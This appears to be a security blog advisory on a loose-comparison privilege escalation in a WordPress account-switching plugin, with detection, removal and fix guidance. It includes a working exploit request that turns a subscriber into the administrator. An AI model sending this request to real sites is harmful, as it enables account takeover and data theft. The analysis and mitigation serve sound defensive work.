WordPress Account Switcher Plugin: A Loose Comparison Turns Every Subscriber Into an Admin
CVE-2026-6456 exposes a critical privilege escalation in the WordPress Account Switcher plugin through a loose comparison flaw in its REST API. Here's how it works and what to do right now.
Why This Should Have Your Attention Right Now
Published yesterday — May 20, 2026 — CVE-2026-6456 is a privilege escalation vulnerability in the Account Switcher plugin for WordPress. It carries a CVSS score of 8.8 (HIGH), and if you're running any version up to and including 1.0.2, any authenticated user on your site can escalate themselves to administrator.
Let that sink in. A subscriber — the lowest-privilege role WordPress offers — can become a full admin. No social engineering required. No complex exploit chain. Just a single REST API call with a crafted payload.
I've seen a lot of WordPress plugin vulns over the years, and the ones that scare me most aren't the sophisticated ones. They're the ones that are trivially exploitable and sit in plugins that site owners install and forget about. This is one of those.
What Happened
The Account Switcher plugin does what the name suggests: it lets administrators quickly switch between user accounts for testing or support purposes. It's a convenience tool, popular in agencies and multi-author setups where admins need to see what a specific user's dashboard looks like.
The vulnerability lives in the plugin's rememberLogin REST API endpoint. This endpoint is responsible for handling the "remember me" token logic when switching accounts. The core issue is a loose comparison (== instead of === in PHP) when validating the authentication token.
All versions from 1.0.0 through 1.0.2 are affected. The plugin has been available on the WordPress plugin repository for over a year, and while download numbers aren't public, Account Switcher sits in a category of plugins commonly installed on agency-managed sites — exactly the kind of sites that have multiple user roles and high-value targets.
The NVD entry confirms the attack vector is network-based, requires low complexity, and needs only low privileges (any authenticated user). No user interaction required from the victim.
Technical Deep-Dive: How Loose Comparison Kills You
If you've written PHP for any length of time, you know the == vs === footgun. But let me walk through exactly how it plays out here.
The vulnerable pattern in the rememberLogin endpoint looks something like this:
// Vulnerable code pattern in Account Switcher <= 1.0.2
function handle_remember_login( $request ) {
$token = $request->get_param( 'switch_token' );
$stored_token = get_user_meta( $target_user_id, '_account_switcher_token', true );
// VULNERABLE: loose comparison
if ( $token == $stored_token ) {
// Switch to target user account
wp_set_current_user( $target_user_id );
wp_set_auth_cookie( $target_user_id, true );
return new WP_REST_Response( [ 'success' => true ], 200 );
}
}The problem: PHP's == operator performs type juggling. When you compare a string against certain values, PHP will coerce types in ways that produce true when it absolutely should not.
Here's the classic exploitation scenario. If $stored_token is a string that starts with 0e followed by digits (like 0e12345), PHP interprets it as scientific notation — the number zero raised to a power, which equals zero. Compare that against the integer 0 or the string "0", and you get true:
// PHP type juggling in action
var_dump("0e462097431906509019562988736854" == "0"); // bool(true)
var_dump("0e462097431906509019562988736854" == 0); // bool(true)
var_dump("0e462097431906509019562988736854" == "0e1"); // bool(true)So the attacker doesn't need to know the actual token. They just need to send a value that, through type juggling, evaluates as equal to the stored token. In many cases, sending 0, "0", true, or null can bypass the check entirely depending on what's stored.
The exploit is a single authenticated REST API call:
POST /wp-json/account-switcher/v1/rememberLogin HTTP/1.1
Host: target-site.com
Cookie: wordpress_logged_in_xxx=subscriber_cookie_value
Content-Type: application/json
{
"switch_token": 0,
"target_user_id": 1
}That's it. target_user_id: 1 is almost always the site administrator (the first user created during WordPress installation). The attacker sends an integer 0 as the token, PHP's loose comparison matches it against whatever stored token exists (especially if it's an empty string, null, or a 0e-prefixed hash), and the attacker gets an admin auth cookie back.
The root cause isn't just the loose comparison — it's also that the endpoint doesn't verify that the requesting user has permission to switch accounts. The permission check likely exists at a higher level (admin menu visibility), but the REST endpoint itself is accessible to any authenticated user.
Impact: Who's in the Blast Radius
Any WordPress site running Account Switcher 1.0.0 through 1.0.2 with any registered user beyond the admin is vulnerable. That includes:
- Sites with open registration (subscriber role by default)
- WooCommerce stores (customers are WordPress users)
- Membership sites
- Multi-author blogs
- Any site where an attacker can create or compromise a low-privilege account
Once an attacker escalates to admin, it's game over. They can install backdoor plugins, modify theme files to inject malware, access the database through plugins like WP-CLI or phpMyAdmin integrations, pivot to other sites on shared hosting, and exfiltrate user data. For WooCommerce sites, that means payment information and customer PII.
What To Do About It Right Now
First, check if you're running this plugin:
# Via WP-CLI
wp plugin list --fields=name,version | grep account-switcher
# Or check the filesystem directly
find /path/to/wordpress/wp-content/plugins -name "account-switcher" -type dIf you find it, deactivate and delete it immediately if no patched version is available yet:
wp plugin deactivate account-switcher
wp plugin delete account-switcherWarning: Before deleting, check your access logs for signs of exploitation. Look for POST requests to
/wp-json/account-switcher/v1/rememberLoginfrom non-admin users. If you find them, assume compromise and begin incident response.
If you need the account-switching functionality, the User Switching plugin by John Blackbourn is a well-maintained alternative that's been audited multiple times. It uses a different authentication mechanism (nonce-based with expiring tokens and strict comparison).
If a patched version (1.0.3+) becomes available, verify the fix uses strict comparison before upgrading:
// What the fix should look like
if ( hash_equals( $stored_token, $token ) ) {
// hash_equals is timing-safe AND type-safe
// It returns false if either argument isn't a string
}The proper fix isn't just swapping == for === — it's using hash_equals() which is both type-safe and timing-attack resistant. Any patch that just changes the operator without using hash_equals() is an incomplete fix.
The Bigger Picture
This vulnerability is a textbook example of why PHP's type juggling remains one of the most dangerous footguns in web security. We've known about this class of bug for over a decade, and it still shows up in production code. Every security comparison in PHP should use hash_equals() for tokens and === for everything else. There is no valid use case for == in authentication logic. Ever.
It's also a reminder that WordPress plugins are the platform's Achilles' heel. The core is reasonably hardened at this point, but the plugin ecosystem is a wild west of varying code quality. If you're running WordPress in production, audit your plugin list quarterly. Remove anything you're not actively using. And for anything that touches authentication or user roles, read the source before you trust it with your site.
Related posts
- Security
How I got free cinema credit by ordering -2 popcorns
A missing input validation on M-Tix Cinema XXI's food ordering API let me increase my account balance by submitting negative quantities. No tools needed — just a browser.
May 19, 2026 · 6 min - Security
How I analyze API security headers in 30 seconds
A quick checklist for reading HTTP response headers and spotting security misconfigurations before you even look at the response body.
May 18, 2026 · 7 min - Security
Common auth mistakes I find when reverse-engineering APIs
After years of poking at APIs that weren't meant to be poked at, these are the auth patterns that break most often — and why.
May 18, 2026 · 9 min